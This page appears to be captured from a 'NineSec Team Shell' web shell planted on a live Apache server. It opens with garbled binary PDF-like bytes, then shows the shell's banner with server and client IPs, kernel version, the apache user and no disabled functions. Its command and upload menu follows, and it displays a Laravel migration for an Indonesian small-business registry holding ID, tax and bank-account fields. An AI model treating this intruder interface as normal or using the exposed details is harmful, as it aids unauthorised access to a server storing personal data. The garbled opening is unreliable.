%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.71.254.177
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0775) :  /var/www/html/lfx/database/migrations/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /var/www/html/lfx/database/migrations/2019_02_26_101942_create_base_tables.php
<?php

use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

class CreateBaseTables extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('kategori', function (Blueprint $table) {
            $table->increments('id');
            $table->string('nama');
            $table->timestamps();
        });
        Schema::create('fasilitas', function (Blueprint $table) {
            $table->increments('id');
            $table->string('nama');
            $table->timestamps();
        });
        Schema::create('umkm', function (Blueprint $table) {
            $table->increments('id');
            $table->integer('user_id');
            $table->string('nama_pengusaha');
            $table->string('nama_usaha');
            $table->boolean('jenis_kelamin')->nullable();
            $table->date('tanggal_lahir')->nullable();
            $table->integer('umur')->nullable();
            $table->string('no_ktp', 16)->unique();
            // One to Many ke kategori
            $table->integer('kategori_id')->nullable();
            $table->string('pendidikan', 10)->comment('SMA/D3/S1/S2/S3')
                ->index('pendidikan')->nullable();
            /**
             * Mengacu ke table terpisah, nanti di provide, di filter
             * hanya untuk provinsi jabar
            */
            $table->char('province_id', 2)->comment('Provinsi')->nullable();
            $table->char('regency_id', 4)->comment('Kota/Kabupaten')->nullable();
            $table->char('district_id', 7)->comment('Kecamatan')->nullable();
            $table->char('village_id', 10)->comment('Kelurahan/Desa')->nullable();
            $table->text('jalan')->nullable();
            $table->string('email')->nullable();
            $table->string('no_telepon')->nullable();
            $table->string('no_whatsapp')->nullable();
            $table->bigInteger('asset')->nullable();
            $table->bigInteger('omzet')->nullable();
            /**
             * Semua file hanya menyimpan nama file saja,
             * Path upload semua didefinisikan didalam aplikasi
             */
            $table->string('file_ktp')->nullable();
            $table->string('file_ijazah')->nullable();
            $table->string('file_pengusaha')->nullable();
            $table->string('file_produk')->nullable();
            $table->string('file_dokumen')->comment('Image atau PDF')->nullable();
            $table->string('file_pernyataan')->comment('Image atau PDF')->nullable();
            $table->tinyInteger('status')->default(0)
                ->comment('0 = Masih bisa diedit oleh user, '
                    .'1 = lock/sudah mulai penyeleksian,'
                    .'2 = terpilih,'
                    .'3 = lock terpilih')->nullable();
            // $table->string('password');
            $table->timestamps();
            $table->string('kategori_lainnya')->nullable();
            $table->string('no_npwp',15)->nullable();
            $table->string('jenis_usaha')->nullable();
            $table->integer('sektor_id')->nullable();
            $table->string('fasilitas_lainnya')->nullable();
            $table->string('bentuk_usaha')->nullable();
            $table->string('bentuk_usaha_lainnya')->nullable();
            $table->string('tahun_mulai_usaha')->nullable();
            $table->string('legalitas_lainnya')->nullable();
            $table->string('sertifikat_lainnya')->nullable();
            $table->text('produksi_barang')->nullable();
            $table->bigInteger('kapasitas_produksi')->nullable();
            $table->string('kapasitas_produksi_satuan')->nullable();
            $table->bigInteger('jtk_tetap_laki_laki')->nullable();
            $table->bigInteger('jtk_tetap_perempuan')->nullable();
            $table->bigInteger('jtk_tidak_tetap_laki_laki')->nullable();
            $table->bigInteger('jtk_tidak_tetap_perempuan')->nullable();
            $table->bigInteger('modal_sendiri')->nullable();
            $table->bigInteger('modal_luar')->nullable();
            $table->text('keterangan_error')->nullable();
            $table->bigInteger('nilai')->nullable();
            $table->integer('pendamping_id')->nullable();
            $table->string('gelombang')->nullable();
            $table->string('longitude')->nullable();
            $table->string('latitude')->nullable();
            $table->index(
                ['province_id', 'regency_id', 'district_id', 'village_id'],
                'area'
            );
        });
        Schema::create('produk_umkm', function (Blueprint $table) {
            $table->increments('id');
            $table->integer('umkm_id')->index();
            $table->string('file')->nullable();
        });
        Schema::create('fasilitas_umkm', function (Blueprint $table) {
            $table->integer('umkm_id');
            $table->integer('fasilitas_id');
            $table->primary(['umkm_id', 'fasilitas_id']);
        });
        Schema::create('pendamping', function (Blueprint $table) {
            $table->increments('id');
            $table->integer('user_id');
            $table->string('nama');
            $table->boolean('jenis_kelamin')->nullable();
            $table->date('tanggal_lahir')->nullable();
            $table->string('no_ktp', 16)->unique();
            $table->string('pendidikan', 10)->comment('SMA/D3/S1/S2/S3')
                ->index('pendidikan')->nullable();
            /**
             * Mengacu ke table terpisah, nanti di provide, di filter
             * hanya untuk provinsi jabar
            */
            $table->char('province_id', 2)->comment('Provinsi')->nullable();
            $table->char('regency_id', 4)->comment('Kota/Kabupaten')->nullable();
            $table->char('district_id', 7)->comment('Kecamatan')->nullable();
            $table->char('village_id', 10)->comment('Kelurahan/Desa')->nullable();
            $table->text('jalan')->nullable();
            $table->string('email');
            $table->string('no_telepon');
            $table->string('no_whatsapp')->nullable();
            /**
             * Semua file hanya menyimpan nama file saja,
             * Path upload semua didefinisikan didalam aplikasi
             */
            $table->string('file_ktp')->nullable();
            $table->string('file_pengusaha')->nullable();
            $table->string('file_ijazah')->nullable();
            $table->tinyInteger('status')->default(0)
                ->comment('0 = Masih bisa diedit oleh user, '
                    .'1 = lock/sudah mulai penyeleksian, '
                    .'2 = terpilih,'
                    .'3 = lock terpilih')->nullable();
            $table->timestamps();
            $table->string('no_npwp',15)->nullable();
            $table->string('file_surat_rekomendasi')->nullable();
            $table->string('no_rek')->nullable();
            $table->string('kategori')->nullable();
            $table->string('nama_usaha')->nullable();
            $table->string('tahun_berdiri')->nullable();
            $table->string('badan_usaha')->nullable();
            $table->bigInteger('jumlah_pegawai')->nullable();
            $table->bigInteger('omzet')->nullable();
            $table->string('file_catatan_keuangan')->nullable();
            $table->string('file_contoh_rencana_usaha')->nullable();
            $table->text('perguruan_tempat_mengajar')->nullable();
            $table->text('pengalaman_pengajar')->nullable();
            $table->string('file_portofolio')->nullable();
            $table->string('file_surat_lppm')->nullable();
            $table->string('file_sertifikat_pendamping')->nullable();
            $table->string('file_surat_keterangan')->nullable();
            $table->text('keterangan_error')->nullable();
            $table->bigInteger('nilai')->nullable();
            $table->string('gelombang')->nullable();
            $table->tinyInteger('verifikasi')->default(0);
            $table->index(
                ['province_id', 'regency_id', 'district_id', 'village_id'],
                'area'
            );
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('kategori');
        Schema::dropIfExists('fasilitas');
        Schema::dropIfExists('umkm');
        Schema::dropIfExists('pendamping');
        Schema::dropIfExists('fasilitas_umkm');
    }
}

NineSec Team - 2022